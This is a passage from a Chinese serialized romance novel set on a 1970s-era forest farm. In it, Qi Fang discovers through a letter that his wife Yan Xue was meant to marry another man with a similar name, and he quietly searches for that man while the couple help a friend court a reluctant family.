能给祁放写信的人有限,祁放立马就想起来自己前几天寄出去那封。
走出去接过来一看,还真是,没想到对方还用着这个地址,也竟然真的给他回了。
毕竟当初听说老师出事,他匆匆赶回燕京,想为老师寻求一丝可能,所有他认识的人却都跟躲瘟神一样躲他,包括他的亲大哥和亲父亲……
这让他心绪有些复杂,跟对方道过谢后又在院子里站了会儿,才将信折好放进裤兜,转身回去。
一会儿工夫过去,刘卫国已经跟严雪说起了别的,“今天晚上放露天电影,你跟祁放去不去看?去我给你们占个地方。”
这几天造林刚刚结束,幼林抚育又还没开始,林场职工刚好有时间,局里也开始挨个林场放电影了。
不过祁放以前从来不去凑这些热闹,所以刘卫国才来问严雪,没想到祁放从外面回来听到,也望向严雪,“去不去?”
意思是听严雪的意见,严雪也就没犹豫,“那就去呗。”
反正这年代晚上也没什么娱乐活动,出去凑个热闹,总比在家闷着强,正好最近天也开始暖和了
没想到别人也是这么想的,等她跟祁放吃完饭,赶到放露天电影的小广场,广场上已经挤满了人,旁边房顶和树上还挂了不少。
“咱们林场有这么多人吗?”严雪疑惑问祁放。
“应该没,”祁放抬眼估量了下人数,“估计附近村子的也来了。”
“那这还能看到吗?”
严雪踮了踮脚,望见了前面一个大姑娘的后脑勺,再努力踮踮,望见了某位大哥扛着娃的后背。
至于刘卫国答应帮他们占的地方,抱歉人太多,她连刘卫国在哪都没看到。
刚想到刘卫国,刘卫国就来了,身边还跟着换了身碎花衣裳的周文慧,来到一看也傻了眼,“以前放电影有这么多人吗?”
“可能你以前没对象,来得早。”祁放淡淡道。
刘卫国一想也是,“以前我们都搬着板凳坐第一排来着。”
这让周文慧有些脸红,“是我收拾慢了。”
“哪能啊?坐第一排你得提前来,晚饭都得在这儿吃。”刘卫国赶忙摆手。
但前面已经开始放片头了,总不能真什么都不看吧?
刘卫国瞅瞅四周,问周文慧,“上树你怕不怕?不怕我给你弄树上。”
“还是算了吧。”周文慧看看树上几乎快挂满的人,摇头。
这时候就凸显出个子高的好处了,祁放完全不用挑地方,随便往哪里一站,抬了眼都能看到大荧幕。
严雪着实有点羡慕了,忍不住回头看了男人一眼,没想到男人刚好也在低眸看她。
“没事,你看你的。”严雪转回了头,下一秒腰却被人握住了。
她都没来得及反应,人已经腾空,落在了男人肩上。
这让她瞬间紧张起来,“你把我扛起来干嘛?”
“你不是看不着?”祁放声音如常,还帮她调整了一下角度。
“那你也不能把我扛起来啊。”严雪手脚都不知该往哪里放了,想下去吧,位置太高腿太短,她有点够不着。
祁放还安慰她:“没事,天黑了。”
跟上次一样的话术,立马就让严雪想到了上次遇到的刘卫国。
刘卫国也不负所望地眼尖,很快嘶了一声,“会还是你祁放会啊,这都能想出来。”
语气酸溜溜的,还问周文慧:“要不我也把你扛起来?”
“这不太好吧,这么多人呢。”
“没事儿,大家都看电影呢谁看你啊?来我扛着你,只要你能看着就行了。”
然后身后窸窸窣窣,“位置没整对,你等我再试一下。”
继续窸窸窣窣,“不行我要掉下去了!”
这次是周文慧。
过了好一会儿,刘卫国终于放弃了,“算了,咱们还是听听声儿吧。”
严雪坐在祁放肩上,都不知道是前面的电影更精彩,还是后面这俩小情侣更精彩。
祁放也是够稳的,扛着严雪始终没动一下,期间几次严雪想下去,他都没放。直到电影快散场,他才把人放下来,他们站的位置又靠后,根本没有几个人注意……
才有鬼!
刚出小广场,严雪就听到后面有个半大小姑娘说,“那姐姐都那么大了,还让爸爸扛着她,爸你怎么不扛着我?我都没看到。”
那么大了的姐姐严雪:“……”
严雪姐姐的爸爸祁放:“……”
一片无言中,刘卫国没忍住笑出了声,见夫妻俩齐齐望来,又赶忙摆手,“我什么都没听见。”
还不如不说。
这也就是天够黑看不清楚,不然严雪再锻炼出来了,老脸都得红上一红。
直到回到家,她还记着这事呢,问祁放:“那位姐姐的爸爸,你肩膀没事吧?”
祁放竟然撩了桃花眼看她,眼神很有几分意味深长,“她爸爸说还行。”
真是什么便宜都敢占,严雪横他一眼,出去洗漱了。
那一眼横得祁放莫名心情很好,连肩膀上的酸麻也感觉不到了,随意揉了几下,就坐在桌边打开了信。
之前事多,他一直没机会看,也不太想让严雪知道他打听她家里的事。
不知道严家到底出了什么情况,才让严雪一个好好的严家大小姐,户籍都转到了乡下。
要是姐弟俩处境不佳,可以让严雪把弟弟接过来,正好他们新房多盖了一间。他虽然不能给他们多好的生活,至少比待在乡下强……
祁放桃花眼一顿,把信封拿过来,又看了一眼上面的寄件人。
是他那个朋友没错,可这信上的内容……
祁放将信纸展开,一字一句从头看起,只觉得那些再熟悉不过的文字都变得陌生。
信上说,严家内里如何不知道,但在外人看来过得挺好的。
严家夫妻和睦,一共育有三子一女,严父也没在那场风波中受到影响,最近还往上升了一级。
信上说严雪也过得挺好的,高中毕业后家里找人给她做了病历,并没有让她下乡。
大概以为他打听严家打听严雪过得好不好,是因为退婚那件事,以为严家是另有隐情,对方还向他透露了个消息——
严家那位大小姐严雪又要订婚了。
“听说对方也是个做技术的,虽然家庭一般,但人相貌堂堂,还刚刚在相应领域做出了突破,颇得上面重视。有些人没缘分就是没缘分,你也不必太在意,总会碰到更好的,总会拨得云开见月明……”
后面再说了什么祁放已经无心去看,脑子里只有一个念头。
这怎么可能!
明明严雪才跟他一起看过电影,出去的时候还横了他一眼,怎么会待在燕京没有下乡,还就要重新订婚了?
如果真正的严家大小姐严雪一直待在燕京,那和他结了婚,又每天睡在他枕边的是谁?
还想再确认一遍,外面洗漱的水声突然停了。
他想也没想,信封和信纸一折,揣进了兜里。
严雪从外屋进来,就发现男人静静坐在桌边,听到动静回眸朝她看来,眼神比任何时候都要深。
那种躲在暗处细细打量,细细审视细细窥探的深。
这让她脚步顿了下,搞不懂这男人又在想什么,“怎么了?”
“没怎么。”祁放脸上什么都看不出来,更没有留意放信的口袋,只是目光始终定定落在严雪身上。
眼见严雪听完这三个字,就准备不管他上炕了,他过去拉住了严雪的手。
轻轻软软的小手上还带着微凉的水汽,看似柔嫩,细摸却有着坚韧的薄茧,和她这个人一样。
他是有多想当然,才会以为严家大小姐是跟他一样经历了什么,才这么能吃苦。
是有多不上心,才会什么都不打听什么都不问……
人抓在手里,总算让祁放安了点心,也开始认真思考这整件事的来龙去脉。
首先严雪的姓名、年龄,户籍所在地,上有一个奶奶下有一个弟弟,应该都是真的。
严雪没必要骗他,他一个只能在山沟沟里窝着的丧家犬又有什么好欺骗的。
那么严雪有个结婚对象在金川林场,对方也叫祁放,应该也是真的了。
但祁放还真不知道金川林场有这么个人,是他孤陋寡闻,还是对方已经不在这了,而严雪不知道,所以才和他一样认错了人?
思考只是转瞬间,见严雪已经疑惑望来,祁放干脆将人一揽,“那天你说东西收到了,真收到了?”
这说抱就抱的,严雪愣了一下才反应过来他说的是初见那天的事,“真收到了,姑姥姥直接给我的。”
想想彩礼这东西给了女方,那就是女方的,女方想怎么处置都是女方的事,之前男人也一直没问过,这次突然问,搞不好是有什么事。再想想下午男人还收到一封信,严雪又问:“你是不是要用钱?”
她说的竟然是钱,亏他还以为是订婚的契书。
祁放刚想到这,严雪已经接着道:“最近买砖买瓦买粮,主要用的这几个月你给我的工资,卖熊胆的钱还没怎么动。要是还不够,我这里也有点。”
她当临时工的工资也发了,每天一块六毛八,再加上之前卖松子的,卖天麻的,也能凑出个百八十块。
后续培植木耳的成本她算过了,顶多需要买点石膏,用的也不多,应该能抽/出/来给他。毕竟到了下月初,两人就又能发工资了。
她在那盘算着怎么抽出钱给祁放,祁放听着,心绪却无比复杂。
37 言中
新房那边就剩安窗框和夹板杖子了,里面连电线都已经扯完,所以今天刘卫国回家得很早。
没想到才带着家里几条狗出去溜两圈,祁放又找过来了。看衣着,还穿着之前干活的那套没有换。
他有些纳闷,“咋啦?还有哪儿没干好?”
祁放竟然往边上走了走,示意他去边上说。
这在祁放身上可并不常见,刘卫国眼睛一亮,压低声,“你又发现谁和谁不对劲儿了?”
捉奸还捉上瘾了……
祁放默了下,才看他,“不是,我跟你打听个事儿。”
刘卫国显然有点失望,但还是道:“啥事儿你说。”
祁放脸色和平时一样淡淡的,声音却压低了,“林场以前有没有跟我一个名的?也跟我这么大,这么高,长得挺不错……”
还没说完,就被刘卫国白了眼,“知道你个子高还长得好,你这是夸自己呢还是问事儿呢?”
也不知道是不是错觉,祁放总觉得他在说个子高的时候,似乎有一点怨气。
这让祁放顿了下,才继续,“这人应该是已经不在林场了,你在林场时间长,有没有印象?”
“和你差不多大,那应该跟我般大般(方言),一块儿长大的,我应该有印象啊。”
刘卫国仔细想了想,“我还真不记得林场有人叫祁放,姓你这个祁的都没有。倒是有个姓齐全那个齐,不过人家叫齐解放,解放那年生的,比你还小一岁,前几年跟着他爸调走了。”说完还问:“你这是帮人寻亲?”
“算是吧。”祁放只能说。
不说帮人寻亲,难道说帮严雪找她真正要嫁的人?
祁放脸色并不算好,刘卫国见了,也就又使劲儿想了想,“真不记得有,你确定是跟你叫一个名?”
“应该是。”
不叫一个名,严雪怎么能认错。
“那我再帮你打听打听吧,”刘卫国说,“小金川也帮你打听打听,说不定是地方弄错了。”
这祁放还暂时没想到,一顿,点点头,“也行。”又特地嘱咐:“先别跟严雪说。”
“你最近秘密有点多啊。”刘卫国眯了眼看他,“什么都不跟媳妇儿说,小心媳妇儿给你踹下炕。”
祁放平时挺淡定的一个人,竟然被说得下意识一滞。
现在已经不是他想不想说的问题了,是他能不能说,敢不敢说……
就这,他都还不知道真找到人了应该怎么办,自几年前那些事过后,头一次感到了棘手。
最后祁放只是说:“这事儿尽快,我着急。”
他也不知道严雪要找的那个人会不会找过来,多久会找过来。毕竟对方连钱都给了,就算人不要也得要钱吧?
虽然他跟严雪结婚已经有三个多月了,也没见到对方人影……
等祁放从刘家回来,严雪已经没在和郭大娘说话了,正烧了锅,在拿买回来的石花菜熬琼脂。
前些天忙着盖房子,她一直没抽出时间,现在房子那边活不多了,她也就将石花菜泡上了,还做了去钠处理。
石花菜里面含有大量的矿物质和碱性物质,如果不先拿火碱水也就是氢氧化钠泡一泡,破坏掉细胞壁,会影响琼脂的提取和纯化。
切成小段的石花菜经过熬煮后,已经开始析出透明胶质,严雪一只手还拿着勺子在翻,很从容的样子。
所以也不怪祁放一直没发现认错了人,真正农村出身的姑娘有几个知道琼脂,又有几个知道这东西应该怎么熬?
而且祁放要是没猜错的话,严雪弄这东西是想做培养基,人工种植林区某种真菌。
而琼脂作为培养基,是生物实验室培养细菌常用的。
除此之外,严雪无论是谈吐举止,还是胆色见识,都不像是小地方出身才只有十八周岁的姑娘。
但她又性格坚韧,吃苦耐劳,过日子精打细算还很会讲价,确实带着那么一点草根气。
有些事不想还好,一旦发现严雪并不是自己那个未婚妻,祁放反而更看不懂她了。
不过看不看得懂,他还是去洗手换了衣服,挽起袖子,“我替你会儿。”
熬琼脂得一直翻,不然容易粘锅底。严雪已经翻了有一阵儿了,有人要替她,她也就没拒绝。
然后祁放硬是一个人翻到熬制结束,盛出来用纱布过滤掉杂质,都没再让严雪接手。
剩下就是把它放到凉地方,等它彻底凝固成冻,严雪将东西送到了外面的仓房,一夜下来已经凝固得差不多了。
想想这东西不仅能用来做培养基,还能做果冻做布丁,甚至连卖的八宝粥里面都有添加,严雪又去了附近一户养了羊的人家。准备反正菌种现在还没有,先买点羊奶做个布丁吃。
这年代牛奶难得,奶粉配方不行,倒是有不少人家买了羊给没奶吃的孩子喝,等孩子奶大了不需要了再卖掉。
结果这户人家挺大方,愣是没要严雪的钱,给她装了一小盆。
严雪没办法,只能先这么端回去,等布丁做好了送几块给对方家,正好对方家里也有小孩子。
至于盛布丁液的容器,这年代的杯和碗都太大了,严雪跟隔壁郭家和刘家借了小酒盅,那种瓷的,两家加一起才凑出来十个。
就这样,用羊奶和琼脂煮出来的布丁液还剩了不少,在严雪家的搪瓷缸子里装了大半缸。
严雪自己都有些感叹了,“我做这点东西可真不容易。”
祁放帮她把小酒盅全装进一个大盆里,准备一会儿盖上盖帘端到仓房去凉,“下次别借了,咱们多买几个。”
“你当下次我还弄这么麻烦啊?”严雪笑,“我这是头一回做,还准备送人。要是就咱们自己吃,我就直接用搪瓷缸子装了。”
大怎么了?大了吃着更过瘾,到时候她就直接用勺子舀着吃。
严雪想着,舀了水开始刷锅,还没刷完刘卫国就来了。
祁放当时就看了那些布丁一眼,严雪也笑起来,“今天你可来早了,我做的布丁还不能吃。”
“啊?你又做好吃的了。”刘卫国反应慢了半拍。
这要是平时,他就算不借着机会调侃祁放几句,也该笑开了,今天却有点不在状态。
严雪一看就猜他可能是有事,祁放更是赶紧给他使了个眼色。
结果一个眼色使过去,刘卫国愣是跟瞎子似的,完全没看到。
再使,倒是让严雪看到了,严雪还挑了眉问他:“你对着卫国放电干什么?”
祁放那表情当时就一僵,“我没。”
那他可能的确没,但谁叫他长了双看狗都深情的桃花眼,稍动不好就像是在对着人放电。
严雪收回视线,问刘卫国:“你这是怎么了?出什么事了?”
“我,”刘卫国一张嘴,差点哭出来,“我媳妇儿要没了!”
那一瞬,祁放都不知道是该松一口气还是该为自己这个哥们儿担心。
他端起放了酒盅的大盆,“我去放,你俩进屋说。”
严雪也擦了手朝里屋去,“进屋说。”
等祁放从仓房回来,刚好听到刘卫国沮丧的声音,“我跟周文慧的事儿让她家里知道了,她家不同意。”
这还真让祁放说中了,严雪抬眼看看刚从门外进来的男人。
祁放脚步也一滞,抿了唇,也不知道是何情绪。
严雪没再看他,问刘卫国:“那周文慧是怎么跟你说的?准备听她家里人的意见?”
祁放甚至更直接:“周文慧准备跟你分手?”
“那哪儿能!”刘卫国立马反驳,“要是她家里一反对她就跟我分手,那我俩这长时间不是白处了?”
“那你弄这一出干嘛?”祁放语气有些不好了。
这才哪到哪,就要死不活的,要是周文慧也是认错的,他还不得哭……
刘卫国心大可能没听出来,严雪却察觉到了那一点小情绪,抬头给了他一个警告的眼神。
祁放闭了嘴,那边刘卫国也终于把话说清楚了,“她是没说要跟我分手,但她家里给她安排了一个对象,也是咱们林场的知青。”
“是谁?”
“谁?”
严雪跟祁放几乎异口同声。
严雪因为跟知青同属一个家属队,还把那几个男知青全想了一遍。
这里面条件最好的就属张国刚,其次是跟他关系不错的杨涛,但这两人的人品……
刚想到这,就听刘卫国说:“是江得宝,那天在你们家一直挑事儿那个。”
那还不如张国刚和杨涛,至少张国刚没安什么好心,但也没为自己狡辩,事儿他干了就是干了,临走都还很硬气;杨涛虽然个子小,但处事圆滑,在几个人里面是最精明的。
这个江得宝就有点一言难尽了,手表不是他的,却就属他跳得最欢。
一直挑衅刘卫国和祁放的是他,提出让刘卫国和祁放赔的是他,后面事情败露,狡辩说只是开个玩笑的也是他。
就真的看热闹不嫌事大,能挑事却不能担事。
严雪蹙了眉,刚要问,那边祁放已经开口,“她家里知道那件事吗?”
“知道,她回家的时候跟家里说了,她家人不信。”
刘卫国手肘支在膝盖上,垮了肩,“你们说我该咋办?我跟她这事儿还能成吗?”
“能成。”又是严雪还没开口,祁放就先说了。
这男人今天话倒是特别多,还特别主动,严雪看看他,也道:“事在人为。”
她给刘卫国分析:“首先你得弄清楚她家里人不同意她跟你处对象,是觉得你人不行还是条件不行。她家里人还没见过你,应该不知道你人,那就是没看上你的条件,那他们是没看上你的工作、家庭还是单纯看不上你是沟里人?”
总得先知道问题出在哪,才能对症下药,解决问题。
“还有江得宝,他长相和收入还不如你,那肯定有别的条件周文慧家里看得上。”祁放淡声补充。
两口子一个始终微笑,一个始终冷静,倒让刘卫国混乱的脑子也渐渐平静下来了,“这些我还没问,你们等我问问她去。”
脸一抹就走了,出门的时候还差点让门槛绊到。
“你慢着点儿,不着急。”严雪出去提醒,回来时祁放还淡淡蹙着眉。
这让她又看了他一眼,“你不是不看好他们吗?”
祁放的确遇事喜欢往最坏的方向去想,但刘卫国是他朋友,他更想朋友能过得好。
何况他现在也不想往最坏的方向去想了,祁放垂眸握了握严雪的手。
两人没等太久,刘卫国就回来了,还带回来一个脸红眼睛也红红的周文慧。
一见年轻姑娘这明显哭过的模样,严雪先放了一半心。
至少刘卫国不是一个人在使劲儿,如果一有点什么事这姑娘自己就先退了,刘卫国再努力也没有用。
严雪给周文慧倒了一杯温水,“你还好吧?”
甜甜的笑眼,温柔的语气,让周文慧脸一红,低下头小声,“我没事儿。”
刘卫国低声哄她,“祁放和严雪都不是外人,你直接和他们说吧,我怕传不好把话传错了。”
他这人看似大大咧咧,实则粗中有细,很知道自己擅长什么不擅长什么。
周文慧就是觉得把这些拿出来说不太好意思,但也知道轻重缓急,捧了搪瓷缸子在手里说:“江得宝他爸跟我爸一个单位的,是他们车间主任。”
严雪和祁放对视一眼,“那叔叔在车间是……”
“就是一个组长,带着大概三四十人吧。”周文慧并没有什么隐瞒。
果然江得宝还是有能让周家看中的地方,严雪想了想,干脆直接问周文慧:“这事儿你是想听家里的意思,还是想再争取一下?”
周文慧脸通红,捧着搪瓷缸子的手也握紧了,“我、我不想嫁给江得宝。”
虽然没直说她不愿意跟刘卫国分手,但意思却是明确的。
虽说两人才处了不长时间,但刘卫国这人挺有意思的,对她也好,哪一点都比那个江得宝强。
“那咱们就上门争取一下,”严雪说,“至少让你父母见见刘卫国人。”
“这、这能行吗?”周文慧很是犹豫。
“当然不能说你要带对象回家。”严雪笑,“你就说你在林场认识了几个朋友,去镇上的时候顺便去你家看看,我和祁放陪你们一起去。”
正常相亲怕相不成,传出来两方太挑的闲话,还要找个由头呢,何况周文慧跟刘卫国这种情况。
她和祁放跟着一起去,有外人在,周文慧父母再不乐意,也不会把场面弄得太难看。
这事儿耽误不得,谁知道周文慧家里哪天就真把她和江得宝给定下来了。
而且马上就是第一轮幼林培育,他们也没那个时间耽误,周文慧回去后也不知道是怎么跟家里联系的,第二天就准备带着人去镇上。
刘卫国把自己最好的一套衣服拿了出来,收拾得特别精神。严雪看看祁放,也把人拉回去……
换了件没那么打眼的。
毕竟他们是去给刘卫国做陪衬,不好喧宾夺主,能换他那张脸她也想给他换了。
一行四个年轻人走出去,还挺引人注意,不多久就有人跟他们打招呼,“今天咋穿这么板正?有事儿啊?”
“去趟镇上。”刘卫国只是笑,还问对方,“婶子你这是才从地里回来?”
“嗯呐呗,今年种的豆角子有一些没出,又去补了一茬。”
对方说着说着,就问起了严雪:“你家那房子盖得咋样了?老于家翠云没再去闹吧?”
严雪就知道她得问这个,“没,已经盖得差不多了。”
那婶子就啧啧几声,“她也真有意思,搁身边儿的看不着,反倒盯上你了,也不看看她家小梁啥样你家小祁啥样儿。”
又压低声音,“我听说林队长那媳妇儿也不是真心跟小梁,是林队长不能生,找小梁借种去了。”
这事儿严雪还是第一次听说,刘卫国媳妇儿都要没了,哪还有心思再打听什么八卦。
不过事发之后,相比于翠云的闹腾,林家那边的确很是安静,什么都没传出来,但这个借种的说法……
怎么事情绕了一圈,倒成了林队长的问题,反而程玉贞是那个有苦难言的?
严雪不知道真假,也不想去评价一个莫名其妙坑过自己的人,笑得歉意,“婶子我们这还得赶火车。”
38 失眠
纸终究包不住火,祁放也没想瞒严雪一辈子。
但他现在连人都还没找到,也没能想出个万全的应对之法,还不想这么突然被戳穿。
他不动声色看看严雪,又看看严雪,见严雪始终没动,“咱们今天还有事,下次再去吧。”
结果严雪竟然反问了他一句:“下次去哪?”
脸上实实在在写着茫然,显然刚刚正在想事,根本没注意自己看着哪里。
这让祁放俊脸上表情微顿,但心却是放了下来。
没想到旁边刘卫国突然插了句:“你要去哪儿?不行你们去,我跟周文慧上别的地方逛逛。”
祁放当时便看了过去,沉默的,静如深潭的。
刘卫国也不知道是不是自己的错觉,明明今天天挺好,出着大太阳,咋就突然感觉有点儿冷呢?
他搓搓胳膊,“咋了?我说错话了?”
“没,就是看你心有点大。”
心不大,媳妇都要没了,还有心情到处逛……
这一会儿工夫,严雪也注意到了自己所在的位置,但她今天本就不是来串门的,“还是说说你们的事吧。”
“那咱们找个饭店说,”刘卫国也更关心自己和周文慧的事,摸摸兜,“正好今天出门,我妈特地给我塞了几张粮票。”
周文慧对镇上熟,立马指了不远处,“那边就是国营饭店。”
一行人转了方向朝国营饭店而去,刘卫国身上那点莫名的凉意也就莫名消失了。
澄水镇的国营饭店是排临街的平房,进门先是一块小黑板,上面用白色粉笔写着今天都供应哪些饭菜。
看完了,选好了,拿着钱和粮票去收钱的地方换饭票,再拿着饭票去相应的窗口打饭。
刘卫国在小黑板前看了看,“今天有红烧肉,要不咱点个这个?”
“这个太贵了。”周文慧小声拽拽他。
拽完,才想起来一起的还有严雪和祁放,红着脸不好意思地看看两人。
严雪倒没有什么意见,“我吃什么都行。”
祁放就更不会有了,但刘卫国还是道:“没事儿,我钱带够了。”
人笑呵呵的,明显很高兴周文慧想帮他省钱。
不过大菜既然点了,剩下的几人也就应付应付,点了在窗口就能打到的菜,红烧肉还得去专门的窗口找厨师做。
点完在用餐的饭厅找了个木桌,严雪和周文慧坐一条长凳,祁放和刘卫国坐一条长凳。
这年代男女关系在外还是得注意的,尤其是刘卫国和周文慧这种未婚男女。
刘卫国还是急,刚坐下就又问了一遍:“我这到底算过了还是没过?”
“不好说。”严雪其实刚刚就在琢磨这个。
周母很好说话,看起来脾气也软和,甚至对刘卫国表现出了满意,但周父就……
严雪直接问周文慧:“你家是不是你爸说了算?”
周文慧点头,“是我爸说了算。”顿了顿又补充,“钱也是我爸管。”
“钱也是你爸管?”这让刘卫国很是惊讶。
家里大事听男人的,这他能理解。但在他周围,一般都是女人管钱,包括他家和祁放家。
严雪倒不是很意外,因为她发现周母说过一阵子话,总要下意识去看一眼周父。
祁放也注意到了,他甚至发现偶尔周父咳一声,或是将杯子放下,周母神色都要微不可察地一顿。
而且自从知道了他们都是谁,周父只看了刘卫国一眼,就一句话再没说过。
这是个很抗拒的表现,显然他对刘卫国连了解都不想了解。
果然严雪紧接着便说:“那这事恐怕有点难办,我看叔叔不像是不想接受卫国,是不想接受你找的对象。”
她给两人分析,“如果是不想接受卫国,咱们说起卫国的条件时,他至少会听听,甚至挑两句毛病。但他听都不听,显然卫国不管是什么条件,在他这里都一样,完全没有听的必要。”
周文慧也有这个担忧,所以之前刘卫国问起时,她迟疑了。
刘卫国就坐在两人对面,一看周文慧这表情,就知道严雪没说错,“那这可怎么办?”
对条件不满意,他还可以想办法争取,连了解都不想了解就全盘否定,他连个努力的方向都没有。
“我看问题恐怕还是出在江家身上。”严雪说得比较委婉。
祁放就要一针见血多了,“你们最好打听打听,她家是不是有什么要求江家。”
不然周父的态度也不能前后差距这么大,一个亲自笑脸相送,一个连听都不愿意听,明明刘卫国一看就比江得宝长得周正讨喜。
周文慧脸唰一下白了,“不、不能吧……”
说是这么说,但不论是发白的脸色,还是迟疑的语气,都泄露出她心底的不安。
“也不是一点办法都没有了,”严雪安慰她,“未必江家能办到的事刘家就一定办不到。”
这让周文慧和刘卫国都看了过来,期待的,紧张的,带着点莫名信赖的。
“还是先打听到底什么事。”祁放给严雪夹了一筷子菜,淡声说,“打听出来,才能想要怎么办。”
正好那边窗口喊:“红烧肉好了!”严雪见刘卫国和周文慧都有些神思不属,干脆自己站起来,“我去拿。”
“我去吧。”祁放比她动作更快,不多久就端着盘油润润香喷喷的红烧肉回来了。
其实要论香,还是经过筛选和驯化的家禽家畜做出来更好吃,野味天天在山上跑,口感不是太紧就是太粗糙。
但同桌四个人,刘卫国和周文慧显然没太多心情吃饭。祁放虽然稳得住,可本身就不重口腹之欲,只有严雪多吃了两块。
祁放注意到,不动声色又给她添了两块,一整顿下来倒把严雪吃得有点撑。
回到林场,一下小火车,刘卫国就跟祁放和严雪道过谢,准备告辞了。
小情侣显然还有话要说,严雪跟祁放也没留人,转身回了自己家。
晚上吃过饭,祁放正在院子里劈柴,刘卫国来了,压低嗓音用气声跟他说:“之前忘了说了,上次你托我打听那个事儿……”
祁放没做声,先把手里这点劈完,才进屋洗了把手,“我跟卫国出去走走。”
严雪只当是刘卫国心情不好,拉祁放出去散心,随口嘱咐了句:“别太晚了。”
“嗯。”祁放应了声,一直走出这片房,才低声问刘卫国:“人找到了?”
“没,”刘卫国说,“我又找人打听了一圈,咱们林场的确没有叫你这个名的,连姓你这个姓的都没有。”
那严雪是来找谁的?还二话不说就和他结了婚。
祁放蹙起眉。
那边刘卫国接着又道:“不过小金川林场有一个。”差点把他闪了一下子。
不过现在也不是计较这些的时候,他立即看过去,眼神幽深,“和我一个名的?”
“名是一个名,不过不是一个姓。他跟齐解放一样,也姓齐全那个齐。”
刘卫国打听得还挺清楚,“要不你再问问吧,对方让你找人的时候是不是把名字和地方弄错了?”
祁放“嗯”了声,一直到晚上林场停止供电,陷入一片黑暗,还在琢磨这件事。
刘卫国说金川林场没有,那应该就是真没有,他在这一片还是比较容易打听消息的。
倒是小金川林场那个,名字发音一样,地方也只差一个字,粗心大意一些还真有可能弄错。
但严雪不像是粗心大意的人,难道是介绍人给弄错了?
不知为什么,祁放一下子想到了那个旱冰鞋,对方好像就在小金川,还刚好在找和自己相亲的姑娘。
但一米八大个儿,长得特别好,旱冰鞋又有点够不上。
而且他跟严雪这都见过几次面了,严雪还知道他要去姑姑家,说不定也知道他在找人,要是,应该早就对上了……
估计刘卫国在为他和周文慧的事情辗转难眠时,也想不到自己哥们儿比自己更睡不着。
实在躺不住,又怕翻身影响了严雪的睡眠,祁放干脆悄悄起身,拿了个小板凳去堂屋门外坐着。
晚春的夜晚风还很凉,天地寂静,连一丝虫鸣也听不到。祁放仰了脸,只看到天空中一轮圆亮的满月,不禁又想起严雪那双明亮的眼睛,想起严雪。
还是得找机会去一趟小金川,确认下那个齐放是不是严雪要找的人。
不管怎么样,先把钱还了,多赔几倍也没关系,毕竟是他占了人家的姻缘。
如果对方实在气不过,想要跟他动手……
动手就动手吧,还是那句话,毕竟他占了人家的好姻缘。
祁放垂下眸,随手从墙根拔了根刚冒尖的杂草,正想着,身后突然有脚步声靠近。
他猛地一回头,严雪已经推开了堂屋的门,困倦地打着哈欠,“我说人怎么没了,你真大晚上不睡觉看星星啊。”
“外面风大。”他赶忙起身,把人又推了回去。
“知道风大你还出来。”严雪眯着眼睛哼了声,“别挡路,我例假来了。”
祁放这才看到她手里的东西,从门边让开。
过了会儿,严雪从厕所回来,绕过他直接进了里屋。
估计也是困狠了,都忘了还有他这回事儿,祁放重新坐回去,继续盯着地上的月光发呆。
刚看了两眼,脚步声去而复返,一件外套直接落在了他身上。
他一愣,再回头,严雪已经站到了他旁边,咕哝着问他:“你总晚上不睡觉,是不是有失眠的毛病?”
祁放本能地想说自己没事,话到嘴边顿了顿,又变成低低一声:“嗯。”
上次刘卫国说起的时候严雪就想问了,没想到他整天晚睡早起,还真是失眠,“多长时间了?”
“两年半多,不到三年。”
这个时间着实有些敏感,严雪看了眼他,还要再问,男人已经起身将外套披在了她身上,“回去说。”
祁放看来是真不想在外面待了,连小板凳都搬了回去,门也关好。
严雪就跟着他回了屋,“你平时都能睡几个小时?”
“四五个小时吧。”
四五个小时,那的确不多,估计还是他睡得好的时候。睡不好可能就像今天这样,都下半夜了,人还精神着。
“就没找大夫看看,调理调理?”
这回男人沉默了,直到严雪拿手戳了戳他,才说:“没。”
严雪当时就挑起了眉,“失眠两年多你都不看大夫?怎么?想英年早逝,让我再找一个?”
这句再找一个让祁放愈发沉默,但他失眠那两年,也没想过还会有人千里迢迢跑来嫁给他。
是啊,严家都写信跟他要契书了,他又怎么那么确信,严家姑娘会千里迢迢跑来林场嫁给他?
有些事经不得细想,祁放掀开被子挤了过去,将严雪整个儿抱住,“我看,等忙完幼林培育就去看。”
没想到才抱了两秒,就被严雪一推。
他一愣,以为严雪是还在生气,“我说真的,一定看好。”
“大夫都不敢打你这种包票。”严雪看他一眼,起身下炕穿鞋。
不多会儿外面传来门响,等人再回来,手里已经多了个碗,碗里是凝成冻的奶白色布丁,还在随着她的动作轻轻摇颤。
“吃点甜的吧,说不定能睡着。”身形娇小的姑娘把碗和勺子递给他。
甜美的布丁还没入口,祁放已经先被这贴心的举动撞了下。
所以他怎么能甘心把她还给别人?
祁放默默接过来舀起一块,还是先递到了严雪嘴边。
“我来事儿了。”严雪有些迟疑,但东西是她做的,她也的确想尝尝做得怎么样,最后还是咬了一小口。
很小的一口,还没有樱桃大,奶香和滑嫩却还是在舌尖迅速化开。
严雪品了品,“还行,下次自己吃,可以少放点糖。”
因为要送人,考虑到这年代人普遍更嗜甜,她多放了一点。
品完才发现那块布丁上落着个小牙印,而祁放这个人是很爱干净的。
正想着要不都吃了算了,反正也没多凉,男人已经收回勺子,送进了自己嘴里。
一整个布丁,祁放吃得很安静,吃完将碗送下去,刷干净,回来又抱住了严雪,“睡吧。”
因为耽误了一天,次日新房活有点多,要安窗,还要粉墙,不然等幼林培育开始就没什么时间了。
严雪晚上才把做好的布丁送出去,说是自己做的奶冻。给她羊奶那家四个,刘家四个,最后剩一个不好单送,干脆把搪瓷缸子里面的倒出来,切成了四瓣,送给郭家两瓣。
没等到第二天,刘家的回礼就来了,黄凤英过来送了一盘包子,“明天早上不用做饭了,热热就能吃。”
说完又提起刘卫国,“多亏有你们帮着出个主意,这事儿他连我跟他爸都没说,直接就来找你们了。你说他也是,看上谁不好,咋就非得眼光高,看上个镇上来的女知青?”
刘卫国这事还真不好办,关键不知道周父到底有什么要求江家,连自家女儿的终身幸福也能往里搭。
周文慧说是会回去问,但这种事她爸肯定不能和她直说。
接下来就是幼林培育,正式工和家属队都得上山给才造林不满五年的幼树松土、除草、割冠,人工去除杂草、灌木和藤蔓植物对幼树的影响,促进幼树尽快成林,她也没那时间。
不仅周文慧,祁放都没找到时间
出去,一直到幼林培育开始后,才趁着有一天收工早,去了趟小金川。
可惜并没有碰到人,听说是有人打电话到场部来找,接完就出去了,也不知道什么时候才能回来。
而且也不知道是巧还是不巧,他过去问的时候,对方刚走才半个小时。
这让祁放有一点烦躁,总觉得事情并不怎么顺利。
